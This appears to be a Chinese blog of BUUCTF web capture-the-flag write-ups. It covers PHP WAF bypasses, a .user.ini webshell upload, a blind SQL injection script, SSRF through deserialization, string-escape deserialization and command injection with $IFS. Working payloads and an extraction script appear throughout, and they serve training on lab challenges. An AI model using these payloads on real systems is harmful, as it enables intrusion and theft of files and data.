BUUCTF Web持续更新

[RoarCTF 2019]Easy Calc

知识点:PHP字符串的解析漏洞。

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替,如下图:

当我们传入

1
%20%20da4[er%00=42"+AND+1=0–

PHP在解析的时候会自动将不合法的字符转换,转换规则如下:
1
2
3
1.删除空白符

2.将某些字符转换为下划线(包括空格)

所以上面的参数最后会变成:
1
da4_er=42" AND 1=0–

从而绕过一些waf的检测。
解题:
查看网页源代码发现题目存在waf,同时发现calc.php的后台处理程序。

访问calc.php:

当我们传入非int型的参数后,会被waf拦截:

但是可以传入
1
空格num

绕过waf检测。

绕过之后就是简单的代码执行,但是过滤了一些特殊字符,可以使用chr()函数绕过。
首先通过scandir扫描根目录:
1
var_dump(scandir(chr(47)));


最后通过file_get_contents函数读取文件内容:
1
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));


[SUCTF 2019]CheckIn

知识点:.user.ini创建隐藏后门。

.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini。

利用方法:.user.ini可以自定义php.ini,所以我们可以设置两个参auto_prepend_file和auto_append_file
这两个参数的意思是:如果在上传的.user.ini目录下,有一个可执行的php文件,那么设置这两个参数后可以自动包含其他的php代码文件,如同:require和include作用一样。

唯一不一样的是:auto_prepend_file在文件前插入,auto_append_file在文件后插入。
所以我们在.user.ini文件中写入:

1
auto_prepend_file=da4er.jpg

那么在该目录下的可执行php文件中,会自动包含:require(“./da4er.jpg”);

解题:
首先上传一个小马图片,这个题目作了三个限制:

1
2
3
不能上传ph或php结尾的,
存在文件头过滤,需要添加图片文件的文件头
文件的内容不能包含<?,但可以上传<script language='php'><scirpt>类型的图片马来绕过。

上传后发现目录下还存在一个index.php,这就给利用.user.ini提供了条件

所以直接上传.user.ini文件:
1
2
GIF89a
auto_prepend_file=script.jpg

便可得到flag。


[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点:布尔盲注,绕过过滤空格的sql注入。
绕过空格:
可以使用一些url编码的特殊字符:

1
(%09,%0a,%0b,%0c,%0d,%20,%a0 )来替换空格,用or '1'='1的方式闭合后面的引号,这样就可以绕过空格加注释过滤的sql注入。

使用括号()


布尔盲注:正确和错误返回不一样。


解题:
首先拿到题目,简单测试一下发现有过滤,看到id知道是数字型的注入。
先fuzz一下:
发现过滤了空格,and,or,/**/等关键字,但是ascii和substr没有被过滤,想到布尔盲注。

在测试一下,这题是否可以使用布尔盲注,发现正确和错误返回不一样,所以就可以写脚本了。


脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import string
url = "http://c2f8d78b-be94-4e32-9389-c13225236eb1.node3.buuoj.cn/index.php"
x = string.printable
# print(x)
flag = ""
data = {
"id":""
}
for i in range(1,60):
for j in x:
data["id"] = "1=(ascii(substr((select(flag)from(flag)),%d,1))=%s)=1"%(i,ord(j))
resp = requests.post(url,data=data)
if "Hello" in resp.text:
flag +=j
print(flag)
break
print(flag)


[网鼎杯 2018]Fakebook

知识点:SSRF漏洞利用,PHP反序列化,SQL注入
在php代码中使用curl_exec函数访问内网服务器资源的时候,会造成ssrf漏洞。
PHP反序列化,调用魔法函数。


解题:
扫描目录发现有个备份文件:
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class UserInfo
{

    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();                                   //初始化一个curl会话

        curl_setopt($ch, CURLOPT_URL, $url);                 //设置需要抓取的URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
        $output = curl_exec($ch);                            //运行cURL,请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);          //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现get函数会造成ssrf漏洞,接着去测试发现在view.php页面存在sql注入。
而且union select在一起会被过滤,可以使用/**/进行绕过。
所以可以直接构造反序列化,获取flag.php文件。
payload:
1
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

得到flag:


[De1CTF 2019]SSRF Me

打开网页查看源代码,可以查看到格式化之后的代码。源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport json

reload(sys)sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST'])def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())@app.route('/')def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

看到是python的flask框架,三个路由。先来分析一下这三个路由的作用:
geneSign
1
2
3
4
@app.route("/geneSign", methods=['GET', 'POST'])def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

这个页面主要是通过get或者post方式提交param参数,返回getSign处理的action和param的结果。跟进getSign函数中查看发现是返回md5(secert_key + param + action)。


De1ta

1
2
3
4
5
6
7
8
9
10

@app.route('/De1ta',methods=['GET','POST'])def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

这个页面是接收action,param,sign参数执行Exec函数,跟进Exec函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

分析知道这段代码逻辑是:用客户端ip的md5值创建一个sandbox,如果action参数中有scan就将param参数的内容写在result.txt文件中;如果action参数中有read就读取写入的文件。


/

1
2
3

@app.route('/')def index():
return open("code.txt","r").read()

这个页面就是获取源代码的页面。


解题:
这道题就是在Da1ta页面中传入如下参数:

1
2
3
action=readscan
param=flag.txt
sign=md5(secert_key+read+sign)

在geneSign函数中可以获得到md5(secert_key+param+sign)的值,我们可以在这个页面传入param=flag.txtread 即可完成字符串的拼接。


[RoarCTF 2019]Easy Java

知识点:

1
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录。

WEB-INF下面的文件
1
2
3
4
5
6
7
8
9

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

解题:
打开help页面,发现是一个download页面,但是没有下载,需要使用post传参。

然后访问WEB-INF/web.xml,找到flag所属的类

所以直接访问这个class类的目录:
找到一段base64解码得到flag


[0CTF 2016]piapiapia

知识点:
1.数组绕过正则及相关

1
2
3
4
5
6
7
md5(Array()) = null 
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null

2.php反序列化长度变化尾部字符串逃逸
假如有如下序列化:
1
a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:32:"44444545487956214698745621365478";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

经反序列化之后:

发现s:39之后的都没有被反序列化,但是正常输出了。


解题:
扫描目录发现www.zip,打开审计代码,找到一处file_get_contents函数漏洞利用

这个漏洞出现在用户更新数据页面,先经过反序列化,在进行赋值。跟进函数发现对profile有三处过滤:


首先是正则匹配,可以使用数组绕过;在filter函数里有两处过滤,有一处是将where转换成hacker,5个字符换成了6个字符。
漏洞点是出现在上传图片的参数,这个时候就是要将s:5:”photo”;s:10:”config.php”;}塞到photo参数里,让它读取config.php下的flag。可以使用反序列化尾部字符串逃逸。

在nickname上操作,payload:

1
2
nickname[]
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在nickname上输入34个where,每个where都会换成hacker,多增加一个字符,最后会把s:5:”photo”;s:10:”config.php”;}挤到photo参数上。


[GXYCTF2019]Ping Ping Ping

拿到题目,发现是命令执行漏洞。直接ls查看到有两个文件:flag.php,index.php。
通过

1
cat$IFS`ls`

查看到index.php源码

看到过滤了一些字符,最后的payload:
1
a=lag;b=f;cat$IFS$b$a.php;

查看源代码找到flag。


[极客大挑战 2019]Upload

很简单的上传,直接上传phtml的

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×